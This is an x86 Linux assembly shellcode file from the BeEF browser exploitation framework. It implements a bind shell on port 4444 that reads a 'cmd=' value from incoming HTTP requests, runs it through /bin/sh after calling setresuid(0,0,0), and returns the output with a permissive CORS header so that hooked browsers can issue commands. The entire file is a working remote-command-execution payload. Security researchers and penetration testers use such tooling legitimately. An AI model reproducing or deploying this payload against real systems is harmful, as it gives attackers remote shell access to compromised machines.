; Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
; Browser Exploitation Framework (BeEF) - http://beefproject.com
; See the file 'doc/COPYING' for copying permission

BITS 32

SECTION .text

global _start
_start:
	cld ;clear direction flag
	xor edx, edx ;zero edx

	push BYTE 0x02
	pop ecx
	;create two pipes
createpipes:
	push edx ;allocate space on stack
	push edx
	mov ebx, esp ; ptr to argument array
	push BYTE 0x2A ;sys_pipe
	pop eax
	int 0x80 ;syscall 
	dec ecx 
	jcxz endcreatepipes ;jmp when both pipes are created
	jmp short createpipes ;create next pipe

endcreatepipes:	
	;create fork	
	xor ebx, ebx ;zero ebx
	push BYTE 0x02 ;sys_fork
	pop eax
	int 0x80 ;syscall
	cmp eax, 0x00 ;parent or child
	je child

	mov ebx, [esp+0x8] ;close read end of one pipe
	push BYTE 0x06 ;sys_close
	pop eax
	int 0x80

	mov ebx, [esp+0x4] ;close write end of the other pipe
	push BYTE 0x06 ;sys_close
	pop eax
	int 0x80

	; make non blocking
	mov ebx, [esp] ;fd
	push BYTE 0x04 ;F_SETFL
	pop ecx
	push 0x800 ;O_NONBLOCK
	pop edx
	push BYTE 0x37 ;sys_fcntl
	pop eax
	int 0x80
 
	;allocate one page of memory
	push BYTE 0x00 ;offset = 0
	push 0xffffffff ;fd=-1
	push BYTE 0x22 ;MAP_ANONYMOUS | MAP_PRIVATE
	push BYTE 0x07 ;PROT_READ | PROT_WRITE | PROT_EXEC
	push 0x1000 ;allocated size
	push 0x00 ;system determines location
	mov ebx, esp ;ptr to argument array
	push BYTE 0x5a
	pop eax
	int 0x80
	mov edi, eax ;ptr to allocated memory
	add esp, 0x18
	
doforever:
	xor edx, edx
	xor eax, eax

	;initialize socket
	push BYTE 0x01
	pop ebx ;SYS_SOCKET
	push eax ;proto = 0
	inc eax
	push eax ;SOCK_STREAM = 1
	inc eax
	push eax ;AF_INET = 2
	mov ecx, esp ;ptr to argument array
	push BYTE 0x66
	pop eax ;socketcall is syscall #102
	int 0x80
	mov esi, eax ; save socket filedescriptor
	add esp, 0x0C

	;reuse socket
	push BYTE 0x0E
	pop ebx ;SYS_SETSOCKOPT
	push BYTE 0x04 ;sizeof socklen_t
	push esp ;address of socklen_t
	push BYTE 0x02 ;SO_REUSEADDR = 2
	push BYTE 0x01 ;SOL_SOCKET = 1
	push esi ;socket fd
	mov ecx, esp ;ptr to argument array
	push BYTE 0x66
	pop eax ;socketcall is syscall #102	
	int 0x80
	add esp, 0x14

	;bind socket to port
	push BYTE 0x02
	pop ebx ;SYS_BIND
	push edx ;INADDR_ANY
	push 0x5c110002 ;PORT 0x115c = 4444
	mov ecx, esp ;ptr to server struct
	push BYTE 0x10 ; addrlen
	push ecx
	push esi ;socketfd
	mov ecx, esp ;ptr to argument array
	push BYTE 0x66
	pop eax ;socketcall is syscall #102
	int 0x80
	add esp, 0x14

	inc ebx
	inc ebx  ;SYS_LISTEN
	push ebx ;backlog
	push esi ;socketfd
	mov ecx, esp ;ptr to argument array
	push BYTE 0x66
	pop eax ; socketcall is syscall #102
	int 0x80
	add esp, 0x08
	
	inc ebx ;SYS_ACCEPT
	push edx ;socklen = 0
	push edx ;sockaddr ptr = NULL
	push esi ;sockfd
	mov ecx, esp ;ptr to argumet array
	push BYTE 0x66
	pop eax ;socketcall is syscall #102
	int 0x80
	add esp, 0x0c
	
	xchg esi, eax ;serversocket in eax and clientsocket handler in esi
	xchg eax, ebx ;serversocket in ebx
	mov eax, 0x06 ;close serversocket
	int 0x80

	mov ecx, 0x1000
firstzeromemory:
	;zero out memory
	dec ecx
	mov ebx, edi
	add ebx, ecx
	mov BYTE [ebx], 0x00
	jecxz readfromsocket
	jmp firstzeromemory

readfromsocket:
	;read from socket into memory
	mov dx, 0x400 ;read 1024 bytes
	mov ecx, edi ;ptr to allocated memory
	mov ebx, esi ;clientsocket
	push BYTE 0x03
	pop eax ;sys_read
	int 0x80

	push edi ;ptr to allocate memory
	push esi ;clientsocket
	mov ebx, edi ;ptr to allocated memory
	mov ecx, 0x400 ;search in 1024 bytes
search:
	cmp DWORD [ebx], 0x3d646D63 ;compare with "cmd="
	je found ;cmd= found
	inc ebx
	dec ecx
	jecxz notfound ;cmd= not in recieved buffer
	jmp search ;search some more

found:
	mov ecx, ebx ;put ptr to memory where "cmd=" was found
	add ecx, 0x03 ;skip "cmd"
	mov ebx, [esp+0x14] ;write to pipe
sendcommand:
	inc ecx ;first time skip "=", move to next byte
	push BYTE 0x01 ;write one byte
	pop edx
	push BYTE 0x04 ;sys_write
	pop eax
	int 0x80
	cmp BYTE [ecx], 0x0a ;LF character?
	jne sendcommand ;else continue write to pipe

	;sleep one second
	push 0x00
	push 0x01 ;one second
	mov ebx, esp ;ptr to argument array
	xor ecx, ecx ;NULL
	mov eax, 0xA2 ;sys_nanosleep
	int 0x80
	add esp, 0x08 ;clean up stack	

notfound:
	call writehttpheaders	
	db 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20,0x32,0x30,0x30,0x20,0x4f,0x4b,0x0d,0x0a  ;HTTP/1.1 200 OK
	db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x0d,0x0a  ;Content-Type: text/html
	db 0x41,0x63,0x63,0x65,0x73,0x73,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x2d,0x41,0x6c,0x6c,0x6f,0x77,0x2d,0x4f,0x72,0x69,0x67,0x69,0x6e,0x3a,0x20,0x2a,0x0d,0x0a  ;Access-Control-Allow-Origin: *
	db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x33,0x30,0x34,0x38,0x0d,0x0a,0x0d,0x0a  ;Content-Length: 3048

writehttpheaders:
	pop esi ;source address saved by call
	add edi, 0x400 ;ptr to memory skip 1024 bytes
	mov ecx, 0x62 ;copy 98 bytes
	rep movsb
	
	pop edi ;restore clientsocket 	
	pop esi ;restore ptr to memory
	
		
	mov ebx, [esp] ;read from pipe
	mov ecx, esi ;ptr to memory
	add ecx, 0x400 ;skip 1024 bytes
	add ecx, 0x62 ;skip header
	push 0xB86 ;read max 2950 bytes
	pop edx
	push BYTE 0x03 ;sys_read
	pop eax
	int 0x80

	mov ebx, edi ;clientsocket
	mov ecx, esi ;ptr to memory
	add ecx, 0x400 ;skip 1024 first bytes
	mov edx, 0xbe8 ;send max 3048 bytes
	push BYTE 0x04 ;sys_write
	pop eax
	int 0x80

	;close clientsocket	
	push BYTE 0x06 ;sys_close
	pop eax
	int 0x80

	mov edi, esi ;restore memory ptr into edi
	jmp doforever

child:
	mov ebx, [esp+0xC] ;close output side of pipe 
	push BYTE 0x06 ;sys_close
	pop eax
	int 0x80
	
	xor ebx, ebx ;close stdin
	push BYTE 0x06 ;sys_close
	pop eax
	int 0x80

	mov ebx, [esp+0x8] ;dup input side to stdin
	push BYTE 0x29 ;sys_dup
	pop eax
	int 0x80
	
	mov ebx, [esp] ;close input side of other pipe
	push BYTE 0x06
	pop eax
	int 0x80

	xor ebx, ebx
	inc ebx ;close stdout
	push BYTE 0x06 ;sys_close
	pop eax
	int 0x80

	mov ebx, [esp+0x4] ;dup output side to stdout
	push BYTE 0x29 ;sys_dup
	pop eax
	int 0x80

	;setresuid(0,0,0)
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx
	xor edx, edx
	mov al, 0xa4 ;sys_setresuid16
	int 0x80

	;execve("/bin//sh", 0, 0)	
	xor eax, eax
	push eax
	push eax
	push 0x68732f2f ;//sh
	push 0x6e69622f ;/bin
	mov ebx, esp
	push BYTE 0x0b ;sys_execve
	pop eax
	int 0x80
